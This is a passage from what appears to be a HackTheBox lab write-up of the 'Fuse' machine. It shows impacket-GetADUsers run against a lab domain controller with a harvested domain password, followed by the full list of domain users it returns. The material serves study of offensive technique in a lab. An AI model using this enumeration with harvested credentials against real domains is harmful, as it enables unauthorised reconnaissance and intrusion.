User_Enumeration


Now that I have valid domain credentials from multiple sources, I am able to authenticate to the target LDAP server and enumerate all the domain users with impacket-GetADUsers

┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ impacket-getadusers fabricorp.local/bnielson:Qwer1234 -all -dc-ip $IP
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
[*] Querying 10.10.10.193 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
administrator                                         2020-05-31 02:26:23.594543  2023-02-02 14:36:17.722199 
Guest                                                 <never>              <never>             
DefaultAccount                                        <never>              <never>             
krbtgt                                                2020-05-30 01:30:07.676204  <never>             
svc-print                                             2020-05-31 02:27:08.344630  2023-02-02 15:54:00.966224 
bnielson                                              2023-02-02 15:55:14.122662  2023-02-02 15:55:18.122678 
sthompson                                             2020-05-31 01:30:57.736839  2020-05-31 01:31:56.736980 
tlavel                                                <never>              <never>             
pmerton                                               2020-05-31 01:50:57.520443  <never>             
svc-scan                                              2020-05-31 02:27:30.750923  <never>             
bhult                                                 <never>              <never>             
dandrews                                              2020-06-11 02:35:50.715712  <never>             
mberbatov                                             2020-06-11 04:14:12.166347  <never>             
astein                                                2020-06-11 04:15:04.088321  <never>             
dmuir                                                 2020-06-11 04:15:38.291515  <never>             

Those will complete the users file